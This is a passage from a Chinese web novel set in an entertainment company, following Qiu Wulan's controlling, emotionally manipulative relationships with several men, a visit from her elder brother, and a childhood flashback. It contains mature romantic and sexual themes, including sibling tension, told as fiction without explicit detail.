“华影帝真的和外面说的一样,好随和啊。”他走之后,罗浩炆小声和韩尘霄交流起来,“一点儿都不藏私,说得都是干货。” 韩尘霄不置可否地嗯了一声,静静吃着盘里的菜。 他回想着方才华君润说的内容,试图想象他口中描述的邱芜澜。 正如华君润所说,邱芜澜很低调,但极具自信。 韩尘霄没见过她在局上的样子,可单是那天马场里,她接过支票的动作就美得让他惊心。 食不知味地吃完一整盘食物,最后出现在韩尘霄脑海中的,是华君润腕上那只表,名贵、闪耀,同一个牌子,却比他藏在宿舍里的那支耀眼不少。 “‘只是一种礼貌……’”他喃喃着这句话。 “你说啥?” “没什么。”韩尘霄收拾了盘子,“回去吧。” 他一路思索着华君润说的话。 或许经纪人说的没错,自己有时候过于清高。 连华君润和邱芜澜都免不了喝酒应酬,他一直端着,未免太学生气了些。 韩尘霄不打算成为一个精干的商人,可至少不能再像那天的马场一样,被人当众打屁股,给邱芜澜丢脸。 躺在宿舍的床上,韩尘霄迟迟无法入睡,翻来覆去想着华君润。 他越想越有些不安,连华君润不愿意配合应酬后都被秋叶开掉了,自己的业绩远远比不上他,邱芜澜会觉得他太木讷、太不知趣吗? 韩尘霄拿出手机,往上翻找唐知行的聊天记录。 他从三天前的记录里找到一条—— “莫导月底生日,除了艺人,还有些投资方也会去。你想去吗?” “不了,他也不认识我。” “好。” 唐知行问得很随意,他知道韩尘霄不喜欢这些场合,凭他的社交能力,去了也白去;再说他已经上了邱芜澜这艘大船,不去就不去吧。 盯着这条信息,韩尘霄眉间微皱。 黑暗中,手机屏幕的荧光有些刺眼。 他犹豫了一会儿,最终摁灭了屏幕,转身瞌眸。 房内沉静下来,半小时后,刺目的荧光再度自黑暗中亮起。 韩尘霄躺在床上回复了唐知行—— “我去吧。” 多认识点人,总归不是坏事。 他小心拉出枕头下的手表,不敢开灯,摸黑戴上。 冰凉的表带扣合上,发出咔哒轻响。 韩尘霄唇畔微扬,躲在漆黑的宿舍中,反复摩挲表盘和表带。 咔哒—— 华君润解下腕上的机械表,随意搁去洗手台。 哗哗水流声随之响起,他洗净脸,凝视镜中的自己。 透过镜子中的自己,他看见了一张更年轻的脸。 韩尘霄。 皮肤光洁、目光澄澈、气质清俊。 他比他年轻、比他纯粹,尚未沾染太多俗世间的尘垢,从头到脚都比他干净。 华君润取下毛巾,擦净脸和手上的水,走出了浴室。 感应到室内无人,浴室的智能灯自动关闭。 那只名贵的手表被遗忘在了漆黑的洗手台上。 华君润在主卧窗前良久伫立,目光痴哀地远望前方别墅群。 芜澜…… 他好想她。 然而今晚,华君润所追寻的别墅迟迟没有亮灯,暗沉沉地隐没在夜里。 “在想什么。” 秋叶娱乐附近的海景大厦,邱芜澜有一搭没一搭地梳理季尧的头发。 他早上生了病,变得格外黏人,趴在邱芜澜腿上不肯离开。 “在想姐姐。”季尧用头主动去拱邱芜澜的手,“姐姐好久没有摸我了。” 邱芜澜将手中的杂志放去一边,双手捧住了季尧。 她低下头,拢在一侧的秀发如水散开,发尾落了季尧手腕戴着的发圈上。 “不是韩尘霄,也会是别人。”她抚过少年的眼角,“阿尧,别生病,我希望你健康。” 那处眼角被邱芜澜磨出薄红,为过分美丽的脸增添了妖冶。 “姐姐,我很健康。”季尧对着她笑,“你看过菲安的报告了,我没有生病,只是忘了吃饭而已。” 他很健康,一切都只是正常的生理反应。 他没有病,他是姐姐唯一健康的家人。 邱芜澜蹙眉,有些话欲言又止,最终化为一种矛盾的歉意。 “是我自己选择进入娱乐圈的。”季尧抬手,触碰她的下颚,像是躺在草地上的孩子试图伸手触碰星星。 “我想和姐姐在一起。” 邱芜澜半垂眼睑,目露挣扎。 半晌,她只是道,“不要节食,伤身体,也伤脑功能。” 脑功能这三个字很不寻常,不是普通的关心用词。季尧差点脱口反问她为什么要担心他的大脑,可最后,他还是一如既往、保守谨慎地点头,“好的姐姐。” 邱芜澜十指插.入季尧柔软的发中。 季尧试图分辨她的眼神,他没有看见权衡,只有一点怜惜。 她心疼停摆了的高精设备,却并没有要分析故障、修缮它的打算。 毕竟,她已经不用这台设备了。 季尧敛眸,沉溺在笼罩自己的兰草香气里,等待天明。 第35章 第三十五章 翌日天明 邱芜澜坐在办公室内。 她面前有一杯花茶, 剔透的骨瓷盛着淡玫红色的茶汤,茶汤边缘被瓷白稀释,呈现柔和的渐变边。 “怎么样?”韩尘霄期冀地望着邱芜澜。 邱芜澜抿了一口, 片刻,别过了头。 她等了一会儿, 韩尘霄没有动作,季尧立刻拿起垃圾桶, 邱芜澜得以掩唇吐出茶水。 韩尘霄脸上的光彩登时褪去,怔忪失落地望着她,“这么难喝么……” 邱芜澜抽纸擦拭唇角, “不赖你, 亲爱的。” 韩尘霄的失落被最后三个字击碎, 他陷入了另一种愣怔, 一时反应不及。 邱芜澜抬眸, 望向季尧, “阿尧, 你没有告诉他,花茶要新鲜的材料么。” 用热水烫干花瓣,纯粹只是洗花水。 除了适宜的温度外, 邱芜澜喝浓香型花茶, 需要二道茶的茶汤加上新鲜花瓣压出的汁液、一点点新鲜花粉, 以及微量的细盐。 季尧伸手端起了那碗,就着邱芜澜的位置喝了一口。 他看向韩尘霄, “恐怕就是因为加了新鲜材料, 所以才这么涩口。尘霄哥,你是怎么处理的?” “按照你说的,花瓣不能用搅拌机打碎, 会让花汁里融入花泥,要平铺之后压出汁水,过滤两次,和碾碎的花粉一起温水慢煮。” “要么是用力过猛,要么是没有铺平。”季尧翻转手腕,将茶水倒进水池,“花泥融入了汁液,才会有这么重的单宁感。” 韩尘霄没有喝出单宁感,他觉得已经足够柔润了。 邱芜澜支着额,神色有些发恹。 她指望着韩尘霄能代替季尧,可小半个月过去了,别说做饭,连几杯茶都泡不好。 邱芜澜自认为对韩尘霄的激励方面做得不错。 她极尽耐心地引导他、予以他足够的奖励,用名马、名表、名车为他规划了一个丰厚的晋升道路。只要按照她的要求,他就可以一步步走向光明的未来。 当年的季尧和季语薇可没有这么成体系的培养规划。 韩尘霄不需要超越他们,至少不能比他们差太多。 刚刚起步,她不能给他太多压力。 邱芜澜对韩尘霄招手。 在国外当练习生的那几年,韩尘霄见识过很多,那些光鲜亮丽的财阀们比任何人都喜爱暴力。 他知道邱芜澜不会动辄打人,可也知道自己的进展是在太慢了。 韩尘霄屏气凝神地弯腰靠近。 他猜测,邱芜澜至少会拧一拧他的脸,警告他用点心。 被韩尘霄紧盯的手并没有触向他。 邱芜澜偏头,扯下了自己的发圈。 微卷的长发顷刻流泻,晃出丰美的泽光。 那发圈撑在指尖,她把韩尘霄微长的刘海扎了起来,顶起一个小揪揪。 “不要紧,慢慢来。”她在他唇前细声轻语,“先准备商演。” 说话间,兰草的气息浅浅拂进韩尘霄的唇间,他的嘴唇不受控制地轻颤,喉结涩然地上下滚动。 大腿腰椎一齐发软,他维持不住俯身的姿势,险些跌入邱芜澜怀里。 韩尘霄湿漉漉地望着邱芜澜,他好想亲她,想吞下这丛于雪中优雅伸展的兰。 邱芜澜退了开去,叮嘱:“路上小心。” 季尧木然地看着这一幕。 韩尘霄颤抖的关节如同摇晃的狗尾。 他爱上了邱芜澜,毫无疑问,且已臣服于她。 熟悉的剧痛如梭穿过大脑。 疼痛是警告保护,可太过熟悉、太过频繁,以至于中枢神经也变得麻木。季尧有些发钝,分辨不出自己疼还是不疼。 他只僵冷地站在原地,盯着韩尘霄头顶上的发圈。 那是今早戴在他手腕上的发圈。 送走韩尘霄,邱芜澜瞥向低垂着眼睑的季尧。 她一眼就知道他在想什么。 邱芜澜有心补偿他,她知道季语薇想要什么,却实在不知道季尧想要的是什么。 最初,他似乎渴望金钱权力;后来喜欢上了虚拟作品;慢慢地,邱芜澜发现,季尧似乎并不真的在乎那些。 有些时候,她不能用钱安抚季尧。 季尧喜欢什么、他想要什么…… 少年抬起了眸,和她四目相对。 他眼中未及隐藏的情愫蓦地触动了邱芜澜。 哀伤、嫉妒,还有些许无所适从的迷茫。 他像极了那条最受宠的小狗,突然被外来者侵占了领地、夺走了宠爱,却无力反抗。 邱芜澜希望他来找她撒娇抱怨,偏偏他不吵不闹,叼着自己所剩无几的玩具,默默走去角落。 猛烈的躁意化作热流冲击而下,邱芜澜呼吸一禀,热意聚成泪雾,蒙得视线有些模糊。 也许无关疾病,即便任何主人看见这一幕,都会生出心酸和怜爱,以及阴暗的虚荣。 邱芜澜当然察觉到了季尧想要什么,她不认为那是爱,那只是依赖,是她在季尧身上遗留下来的精神枷锁。 年少时的她控制不好力度,被她控制的季尧又太过年幼,他的三观皆由她肆意捏造,以至于成了如今的模样。 她不能继续错下去。 如果麻木的囚犯打开枷锁后还不知逃跑,那她就推着他走。 “还有事么,阿尧?”邱芜澜问他。 她双手交握于小腹,压住麻痒的涨热,极力稳住呼吸和神态。 季尧一顿,笑道,“姐姐,我给你重泡一杯吧。” “不用。去收拾东西吧,你该出发去商演了。” 季尧指尖微蜷,浓长的眼睫颤了颤,乖巧应好。 他离开了办公室,邱芜澜深吸一口凉气,小腹处的焰火非但没有冷却,反而得到了助燃剂,变得愈发旺盛。 她闭着眼,回想着季尧顺从的侧脸。 他太乖了。听话、懂事、知晓分寸,极度聪慧,且忠心耿耿。 这样的少年跪拜在脚下,再是难以填尽的欲壑都会得到满足。 邱芜澜扶额,试图用手背降温头脑。 她感到了酥麻、濡湿和难以言喻的兴奋。 阿尧……她最出色的弟弟,她一手养大的健康的孩子。 无论如何,她不能再伤害他。 因兴奋而发抖的指尖颤巍巍地抓起手机,拨通了电话。 “过来一趟。”邱芜澜呢喃,“有点私事。” 这是再糟糕不过的时间点,韩尘霄不堪用,季语薇不在市内,她能用的药只剩下一个。 两分钟后,办公室被轻柔地叩响。 邱芜澜压抑喘息,顾不上回应。 门被轻轻推开,有气息逼近。 属于男性的气息自侧翼靠近,比她更加灼热、更加亢奋。邱芜澜甩了甩头,视线之内爬满了红色的幻影。 她强撑着理智,冲对方伸手,“手机。” 片刻的沉默,一支男款商务机递到了邱芜澜手中。 她拉开后台,确认没有录音录影,又找出了方才的聊天记录将其删除。 按下关机键,她把它关入抽屉。 脱衣的声音传来,火热的躯体覆上邱芜澜,试图将她从椅中抱起。 邱芜澜蹙了蹙眉,倏地戾气横生。 她一把扯住对方的头发,触手的发质比预计的硬,这愈使邱芜澜感到不快。 “我不喜欢腾空。”她抓着对方的发根,在他耳边低语,“让我坐着。” 过度亢奋的中枢神经放大了邱芜澜的所有情绪,一点点不悦都被夸张成了愤怒。 华君润顿了顿,旋即后退。 随着他的撤离,邱芜澜亦缓缓松手。 温润的男人跪在了地上,四肢着地,仰头透过碎发讨好地望着她。 邱芜澜不满意,这眼神炽热黏腻,让本就燥热的她愈发难受。 烦躁极了。 “你和从前不一样了。”尽管如此,她的语调依旧浅淡、不紧不慢,“君润,我真是遗憾。” 华君润立即道,“我可以改。” “算了,”她索然无味地起身,坐去华君润背上,“至少比我前任强。” 男人的腰背瞬间紧绷,呈现出对抗的僵硬。 她根本不明白自己是以何种心情来到这里,为什么就这么残忍,要在时隔六年的重逢时拿他和田烨那种垃圾相比? 邱芜澜抚过他的侧颈,指尖搔刮突起充血的青筋。 “别这样君润,”她叹息,“难道连你都需要我哄了么?” 华君润闭了闭眼,咽下悲凉的自嘲。 是啊,如今的他除了“省事”以外,还剩下什么呢。 苦涩之中,又因为邱芜澜不耐的语气升起一抹扭曲的狂喜—— 不,她是信任他、相信他,所以才会毫无顾忌。 华君润跪在地上,载着邱芜澜,朝休息室一步步爬去。 抵达终点后,纤长的手在他头上揉了揉,伴随一声敷衍的赞叹,“好乖。” …… 经历了风雨的华君润让邱芜澜乏味,他的确比以前乖巧懂事了,可看她的目光,也变得和普通男人无异,甚至更加炽热。 他到底不是当年那个怀揣梦想的年轻人了。 邱芜澜记得,最初的华君润,看一会儿月亮都会哭泣流泪。 她问他为什么哭,他说下一场戏,自己扮演的角色在月夜下被女主拒绝了告白。 他感到伤心、悲痛,难受得不能自己。 邱芜澜只觉得他哭起来可爱极了。 那几年她致力于欺负华君润,他有一双清润如玉的眼,被泪洗涤之后,雨花石般绮丽。 如今不需要她动作,只是她的亲吻,都能让华君润激动流泪。 这泪水太过滚烫,触之即伤,让邱芜澜无法肆意靠近。 她不想和公司股东扯上关系。 她态度的转变,被华君润瞬间洞悉。 同样的人、同样的事,但他再也感受不到邱芜澜动作间的那一抹爱惜。 为邱芜澜换衣服的时候,华君润几度想要开口。 在她眼里,自己到底是什么? 她就一点点都不好奇?不问他这六年有没有和别人上过床、有没有过其他伴侣。 他不断对比着往昔的一切,从她改变的每一丝力度中,都窥见了其他男人的身影。 她不再那样做了,是因为谁? 她喜欢这样做了,是因为谁? 太多年轻男人的面孔从华君润脑海中划过,他对她充满了好奇,发了疯地想知道答案,那么她呢—— 她的自尊心和掌控欲如此之强,她为什么不问他这六年有没有过女朋友? 华君润沉默地为她披上外套、梳理头发。 “谢谢。”邱芜澜对他颔首致意,“我还有工作,就不送你了。” 华君润忍无可忍,“只是这样?” 邱芜澜抬眉,过了会儿,她拉开抽屉,拿出支票本。 华君润深吸一口气。 六年前的华君润,会为此吵个天翻地覆;而今,他无奈地笑了。 “我开玩笑的,”他说着,拨开缠在邱芜澜耳环上的发丝,“季尧走之前托我给你做饭。今晚要去我家坐坐么。” “我不一定有空。”邱芜澜说。 “没关系,”华君润笑道,“要是过来,提前知会我就行。” 邱芜澜轻轻嗯了一声。 没有任何温存,他们就此分开。 办公室门合拢,华君润跌坐在自己的座位上,心脏阵阵抽搐。 邱芜澜那一抬眉间的讶色无疑是赤.裸地羞辱。 她不会不知道他想要的是什么,却故意当着他的面拿出了支票。 他上楼见她时,和下楼的韩尘霄擦肩而过。 他看见韩尘霄头上的发圈。 今早股东会议上,邱芜澜才戴过那根发圈。 她知道怎么哄人,却用支票冷酷地划清了和他的界线。 华君润弓着背,将脸埋进了臂中。 心脏的抽搐转为抽痛。 分开的那些年,他无时不刻地思念邱芜澜,现在他终于回到了她身边,却被更深一层的思念吞没。 芜澜、芜澜……他再也见不到六年前依偎他的那个邱芜澜了。 华君润倏地有些喘不过气,很快,一阵异常的骚动将他从情绪中唤醒。 他注意到玻璃墙后的工位上,员工们正小声地交头接耳,眸中闪动着奇异的热度。 华君润拿出被邱芜澜关机的手机。 不必他去搜寻蛛丝马迹,几个非正式的工作群里弹满了消息。 距离下班还有四十分钟,一辆黑色的商务车被人拍了下来,传入各个小群。 照片的背景是秋叶娱乐的地下车库,画面中,身姿挺括的男人从车中下来。 他被安保和助理围绕着,只拍到了半边侧脸,且有些模糊。 尽管如此,秋叶娱乐的员工们还是一眼就认出了男人的身份。 宋折凝事件后的第十二天,秋叶娱乐创始人、他们的BOSS回来了。 第36章 第三十六章 邱芜澜并没有比其他员工早接到消息。 她匆匆起身准备迎接邱承澜时, 走廊远处已传来了数道脚步。 邱芜澜难得出现了慌乱的情绪。 她迅速检查自己的办公室,给休息室更换空气、将手边几份摊开的纸质文件堪堪收拢,办公室门就被叩响。 邱芜澜霍然起身, “进。” 门被推开,入目的是熟悉的面孔。 温和的中年男人对着邱芜澜颔首致意, 笑道,“邱小姐, 邱总让我来接您下班。” “哥哥呢?”邱芜澜问。 “他去见了几位董事和经理。” “哪个会议室,我也过去。” 邱承澜的秘书摆手,“邱总说他很快结束, 让您去车里等他就行。” 邱芜澜不知觉松了口气, 华君润刚离开的办公室不适合跟哥哥见面。 她收拾了东西, 和简打了声招呼, 随钱秘书去了车库。 邱承澜的车子和她的那些没什么不同, 可坐在里面, 一股难以言喻的气氛包裹了邱芜澜, 让她产生使用咖啡因的错觉。 上一次和邱承澜见面还是在集团股东年会上,这个时间不算长,童年时期的他们一年往往只能见上三五天, 且不被允许单独见面。 她双手交握, 等待邱承澜的过程有些难捱。 十分钟、二十分钟……终于, 车门打开。 邱芜澜回眸,深色的西装撞入视野。她身旁微沉, 高大的男人落座于侧。 “哥哥。” 她旋即投入男人的怀抱, 眼角眉梢流露少女般的欢欣,“哥哥,我好想你……” 车子启动, 隔板升起,朝着既定的路线驶去。 瑚城双子塔的高层,有一间默默无闻的小餐厅,地方不大,客人极少。 这是邱芜澜的食堂,建在秋叶集团和秋叶娱乐路段中间,用以应付季尧不在的时候。 此时餐厅的门落了锁,不大的空间内只余两名食客。 邱芜澜和邱承澜正对坐着,两人的长相七分相似,相同的成长环境、相同的教育理念使他们的气质也趋于相同。 邱家历时弥久,从小的熏陶使他们难以成为亲和力十足的商人,只能是气场强大的掌权者,但在面对彼此时,那份冷冽如猫爪一般被收了起来,余下净是柔软可亲的绒毛。 “哥哥什么时候回来的?” “刚下飞机。” 邱承澜的长相比妹妹更富攻击性,他半垂着眼睑搅拌沙拉,拌匀之后送到邱芜澜面前。 那只手比邱芜澜大上两圈,小臂上肌线分明,黑色的衬衫袖口下,隐约有着淡淡的陈年疤痕。 “谢谢。”邱芜澜接过,叉起一颗小番茄。 两人时不时闲聊几句,等到邱芜澜吃完,饭桌上默契地沉静了下来。 邱承澜开口,“那么,来谈谈宋折凝吧。” 他向后靠着椅背,姿态闲散,手腕松弛地搭在桌沿。 这随意的动作间,充满了令人屏气的压迫感。 邱芜澜抿了抿唇,“……我很抱歉。” “哪方面?” “开年就出了这样的风波,作为管理者,我严重失职。”邱芜澜抬眸,“作为妹妹,我也很抱歉没有守好哥哥留下的资产。” 邱承澜不予评判,只问:“市值已经回升,应急做得还可以,所幸没有太大损失,后续有什么处理方案?” “已经开始对宋折凝追诉;接下来会用华君润和季语薇填补上宋折凝的空缺,他们综合评估只高不低。 管理上,吸取了宋折凝的教训,我和几位创始股东正在考虑削减ASHS的自由度……推行恐怕需要一定时间,新签约的季语薇、华君润的合约已经做了调整,之前签的那些,只能先从后勤团队抓起。” “到什么阶段了?” “怕引起舆论恐慌,暂时还没有大的动作。”邱芜澜补充道,“而且,最终的方案也还需要你过目。” 邱承澜抬眉,“对于这些事,你是怎么想的?” 邱芜澜避让了目光。 她显得踟蹰,邱承澜没有宽慰她,锋利的黑眸平静地注视着邱芜澜,不需要刻意,仅是注视就足够强势。 “客观来讲,”顶着这份目光,邱芜澜近乎是破釜沉舟般地鼓起勇气,“秋叶娱乐上市七年了,从高速发展期进入平稳期,最初那套招揽艺人的方案难免有些…过时了。” 邱承澜偏首,“你觉得我的方案过时了?” 邱芜澜欲言又止,邱承澜已将第二个问题抛出,“那你有更好的方案么。” “只是一些草构……还不太完善。” “ASHS们是什么态度。” “要砍掉他们一定限度上的权利,他们非常反对。” “怎么推进?” 邱承澜的每一句都简练锐利,没有人能禁得住这样追问。 邱芜澜指尖微绞,“还在筹备阶段,我们想等新的合约确定下来后,再做ASHS的工作。新的合约以及后续进度我都会和你、和创始股东们确认。” 低沉的哂笑从对面传来。 她抬眸,见邱承澜眸中噙满了笑意。 他朝邱芜澜伸手,邱芜澜不解地起身,绕过桌子走去邱承澜身旁。 腰肢一沉,她被邱承澜圈着坐去他身边,与他紧紧相挨。 “再吃一点。”他一手揽着她,一手用银勺舀着蛋糕送到邱芜澜嘴前,“太瘦了,又不好好吃饭。” 邱芜澜扭头避开,“我自己来。” 快三十岁的人,被哥哥这样抱着喂饭,难免羞耻。 邱承澜在她腰际轻轻一拍,置若罔闻地评价,“还是个小丫头呢。” 他圈着她,像是苍鹰归巢,将悬崖上的雏鸟拢在羽翼下。 向往天空的雏鸟抱怨了两句,几番挣扎未果,最终只能乖乖酣眠在了熟悉、强大的阴影下。 …… 秋叶娱乐的气氛有了些微妙的变化。 董事长、创始人巡察,上下部门严阵以待,不敢掉以轻心;但另一方面,每次董事长来巡察,邱副总的心情都会格外明媚。 透过玻璃墙,这两天不少员工都窥见了两位老总相处的画面。 “大老板看着怪吓人的,每次他和邱总一起出现,我都不知道该怎么称呼。” “还是小邱总平易近人一点。” “纯粹是体型的缘故吧,小邱总要是男的,估计也吓人。” “可怕归可怕,他们站在一起真的好养眼……” “顶级精英教育下出来的年轻富豪们,谁不养眼。我要是有那个钱,我也养眼。” 闲聊之中,倏地插.入脆生生的一句:“小邱总在场,大老板的秘书都没事干了,好尴尬。” 说话的是新来半年的女生,她试图加入聊天,开口之后,周围却没了声音。 “怎么了?”她疑惑地问。 几个年长的员工面色古怪地开口,“这话还是少说。” “为什么?” “尴尬。” 茶水间的闲聊无伤大雅,高楼之上,几位高管同样面色复杂。 目送两位老板离开,看着亦步亦趋跟在邱承澜身后的邱芜澜,他们彼此交换了个眼神,不约而同纷纷摇头。 家族企业,最怕的就是兄弟阋墙; 邱家深谙此道,百年来筑造了至高无上的家族理念,将其灌输进每一个邱家人脑中。 兄妹关系亲密自然是好事,可邱芜澜和邱承澜之间的关系,似乎并不完全平等。 跟随邱芜澜开疆拓土的人们想要献上忠诚,他们的大帅却将帅印轻易拱手献于别人。 微妙的暗流随着邱承澜的脚步涔涔波动。 他花了两天巡视了整座秋叶大厦,第三天又进入邱芜澜的公寓。 “怎么住这儿了。最近很忙?” “下周要拍一个家庭访谈,住这里添点人气。”邱芜澜拉开柜门,扭身回望邱承澜,发出轻轻的鼻音,提示他看向自己。 邱承澜掠过她,扫视柜子里各式球拍。 从网球、羽毛球到棒球、高尔夫,邱芜澜对球类运动没有太大兴趣,作为临时休息的地方,这里只简单放了几种应急。 邱承澜脱下外套,隔空点了点网球拍。 他们换了轻便的运动服,去了附近的私人球场。 邱芜澜发球,首发直球。 邱承澜扬手回抽,“别往我拍子上撞。” 他打的斜角,邱芜澜几乎跑了整个底线。 “第一球,得有点礼貌。”她旋拍回击。 这一球翻过围网便往下坠落,让邱承澜跑了几步。 他及时挑高,回击之后卷起袖口,多了两分认真。 邱承澜的秘书和简候在一旁,负责在回合结束时扔出新球,也负责替两人看着消息,随时汇报。 “泽安最近怎么样。”丢了一球,邱承澜后退两步回到底线,接过钱秘书投来的新球。 “听说分公司要交给他后,压力有点大。现在郸城待着,”邱芜澜挥拍,声音自腰腹发力而出,“还算不错。” “可以断奶了?” 球从邱芜澜拍前射过,弹去了铁丝网上,邱芜澜追了两步没有追上,便缓了下来,从简手中接过新球,“……他会的。” “姓季的小子呢?”邱承澜问。 邱芜澜右手握球,反身换了左位姿。 她回道,“阿尧这个年纪,该成家了。” 邱承澜颔首,俯身握拍,对着妹妹道,“来。” 接下来的比赛,他们没有再闲谈,黄色的小球在场上横冲直撞,边缘散落了不少,直到完成抢七,这场比赛才以邱承澜的胜利划上了句号。 邱承澜将网拍交给秘书,从他手里拿走加绒的干毛巾走向妹妹。 邱芜澜眨去眼睫上的汗珠,看清邱承澜的表情前,那块毛巾兜头罩住了她,擦去她脸颈上的潮汗。 “进车。”邱承澜连着毛巾拥住她,“别感冒。” 邱芜澜浅浅喘息,运动后的脸透着薄红。 她牵起毛巾的一角,一边走,一边也帮他擦汗。 邱承澜有轻微洁癖,不愿碰掉在地上的球,也不愿意在别人用过的休息室里洗澡。 他们回了邱芜澜的公寓,邱芜澜披着湿发走出浴室时,就见邱承澜已清洗结束,换上了一套正装,钱秘书正站在一旁等待。 “哥哥?”她茫然地站在原地。 邱承澜侧身,冷俊的眉眼在看见邱芜澜的湿发后皱了起来。 他走向邱芜澜,指腹轻捻她的发梢,感受到潮意,微不可察地叹了口气。 “照顾好自己,”他说,“我得走了,八点半的飞机。” 邱芜澜咬着下唇,她没有任性挽留,也说不出太过乖巧懂事的话语。 气氛就此沉寂。 片刻,邱承澜揽着她回到了浴室,翻找出了吹风机。 钱秘书看了眼手表,无奈地躬身退了出去,选择在车里等。 降噪后的风声温柔地淌过发丝,嗡嗡的暖意中,邱芜澜对着镜子端凝身后的哥哥。 他和上一次见面时没什么不同,可她莫名觉得多了两分陌生。 越是长大,时间的流速就好像越快。 一转眼,他们都步入中年。 余下的人生里,他们还能再有几次见面…… 午后般的暖风吹拂着,几分钟后,吹风机结束工作,被搁回了台面。 两张相似的脸在镜中对视。 男人的小臂自后环住了邱芜澜的腰肢。 他埋首于她颈侧,亲吻她的额角,嗅闻她的气息。 “芜澜……” 一声喟叹,邱芜澜蓦地红了眼睛。 她在他怀里回转身体,后腰抵着台沿,与邱承澜近距离交换呼吸。 搂着她腰肢的手臂骤然收紧,勒得她有些发疼,与此同时,她也感受到了邱承澜的细微颤栗。 他用尽全力压抑了冲动,瞳孔收束,幽幽盯着她。一股强烈的危险感逼向邱芜澜,让她放手、让她逃离。 邱芜澜舍不得。 就算她看出了邱承澜发病的前兆,也舍不得结束这宝贵的相处。 邱承澜抵着她,禁锢着她、抚摸着她。 “芜澜,我爱你……”粗砺的指腹划过邱芜澜的鬓角,那双黑眸像是要望进她的灵魂,“所以我不介意你做一个只会抱着哥哥撒娇的妹妹。” “你可以当一辈子的小公主,穿粉红裙子、抱洋娃娃、戴钻石首饰,只要你开口讨要,我会无条件满足你一切要求,你永远是我最爱的妹妹。” “但是芜澜,”压在她眼角上的指腹重了两分,力道之大,连带着脆弱的眼球都隐隐受到了压迫。 “你生来拥有一切。” 邱芜澜抬眸,在那拇指的压迫下转动眼球,与邱承澜对视。 她并不矮,穿着平底的拖鞋也超过了一米七,可在邱承澜面前还是气短了一截。 邱承澜低头,在她额上落下吻。 他又一次重申:“我爱你,芜澜。” 这辆突然而来的商务车,又突然离开。 邱芜澜站在三十层公寓的全景落地窗前,目送黑色的车子消失在茫茫车流之中。 天空飘起了细碎的小雪。 她的额头尚且残留两分冰冷的吻触。 公司内部的流言邱芜澜并非不知情,她想起邱承澜在餐厅的那一声哂笑,随后一勺一勺往她口中喂蛋糕的强硬姿态。 即使每一勺都充斥着轻蔑,但蛋糕毕竟是甜蜜的,让人无法拒绝。 邱芜澜抱着胸,倚靠在墙角的三角光束下。 她望着已远去的车影,手中握着的手机屏幕上亮着聊天界面。 对话框顶部显示着联系人的名字。 季尧。 第37章 第三十七章·【过去】 …… 和邱泽安、邱泽然的赌约考核结束后, 六岁的季尧第一次见到了邱承澜。 那一天,庄园的气氛有些怪异。 所有佣人都放轻了动作,他们小心翼翼、屏气凝神, 这座本就沉闷的庄园,随着邱承澜的到来愈发死气沉沉。 不仅是仆人, 就连一向闹腾的邱泽然都安静了下来。 季尧被女佣带出门时,看见邱泽然站在衣帽间里, 一声不吭地任由女佣穿戴繁琐的鞋袜。 这是邱泽然最讨厌的事情之一,每次需要穿戴正装时,他都会坐在鞋凳上不耐烦地晃腿, 不停地催促“好了没有”“还要多久!”, 等烦了还会把脚踩在半跪在他面前的女佣肩上, 用力逼迫对方离开。 可现在他乖乖站在试衣镜前, 连试了三套都没有半句抱怨。 季尧被带到了邱芜澜门口, 他抬头, 看见化了淡妆的邱芜澜脸上弥漫着笑。 她俯身, 替季尧抚平衣领,语调轻柔上扬,“跟着我。” 邱芜澜的明媚在愈发沉寂的庄园里, 格外突出。 傍晚黄昏, 邱岸山的长子, 那位邱家既定的继承人抵达了庄园,身边跟随着保镖。 季尧被邱芜澜牵着, 带去了前方。 “哥哥, 他就是季尧。” 介于少年和青年之间的邱承澜已超过了一米八,他瞥了眼他,眼神之中连对“妹妹的宠物”的善意都无, 如同冰棱刺在了季尧身前,割出一束透明的薄凉。 季尧并不失望。 这个庄园、这个世上,就连他的亲生母亲都厌极了他。 他只是感到奇怪。 邱泽安邱泽然只叫了一声哥哥,便沉默地立在后方; 而邱芜澜在靠近邱承澜时,简的目光显得十分慌张,仿佛看见蹒跚学步的婴儿走向了危险的厨房。 他们进入餐厅,往常守在旁边的女仆消失不见,餐厅之中,除了邱家的几个孩子外,只有两名保镖站在邱承澜身后。 他们不像在保护什么,倒像是在提防些什么。 提防什么—— 季尧看向坐在邱芜澜对面的少年。 他不是温和的贵公子,举止投足间的气场强大且深邃,呈现出一种古怪的矛盾:他本该是凌厉的,却硬生生罩在静默当中,像是被套上鞘的刀、捆着防咬器的狼。 以往的餐桌上还有交谈,今天却只有沉默的咀嚼。 季葶试图打破死寂,同邱承澜搭话。 “承澜吗,我们还是第一次见面。”她殷勤地表现,“你好,我是季葶,你爸爸的朋友。” 没有任何回应,季葶连邱承澜对季尧的那一瞥都没有得到。 她从不是那么容易放弃的人,“听你爸爸说,你一直在寄宿学校,一个月才两天假,怎么这么辛苦呀?” “女士,”邱承澜身后的保镖倏地开口,“请安静。” 季葶有些恼屈,下意识去看邱芜澜。 来这里的两个月,她没有见到邱岸山,邱芜澜不仅是庄园里话语权最大的人,也是对她最平和的人。 在成为真正的女主人前,季葶本能仰仗这个十几岁的少女。 邱芜澜收到了她的求助,没有像从前那样不轻不重出手帮助。 她看向她,道,“阿姨,哥哥难得回来,能让我们一起吃个饭么。” 季葶怔住了。 她没有帮她,反而还要驱赶她。 邱芜澜扫过她的身旁,补充,“季尧可以留下。” “不用紧张,芜澜。”少年放下刀叉,正视对面的妹妹,“我知道她是父亲的客人。” 邱芜澜睇向季葶,余光充斥着审判。 这是季葶第一次从邱芜澜身上感受到明显的排斥。 她有点委屈。 一整天,庄园内安静得诡异。 没有佣人们偶尔的闲聊,没有孩童嬉戏的吵闹,月亮升起,舒缓的钢琴声自二楼泻出。 月色皎皎如银,琴房亮着灯,却拉着窗帘,将如水流动的月色隔绝在外,只余平稳到刻板的模拟月光灯照亮房内。 褪去外套的少年倚在沙发上,正对着坐在钢琴前的妹妹。 娴静轻缓的琴声抚慰着此间,连空气的流速都变得异常安宁。 最后一节音符散去,邱芜澜回眸,望向沙发椅上的哥哥。 立在沙发旁的保镖抬腕看了眼手表,对着邱芜澜躬身致意,将沙发边搁着的两瓶药收走,放进了贴身的口袋里。 他们退了出去,邱芜澜立即起身,几乎是雀跃地投入邱承澜的怀抱。 “哥哥。”她抱着他的腰,轻薄的黑色衬衫下,少年的身体已发育完善,高强度的运动习惯使他的身材远超同龄人。 邱芜澜鲜少这般欢欣,可回应她的只是冷淡的回抱。 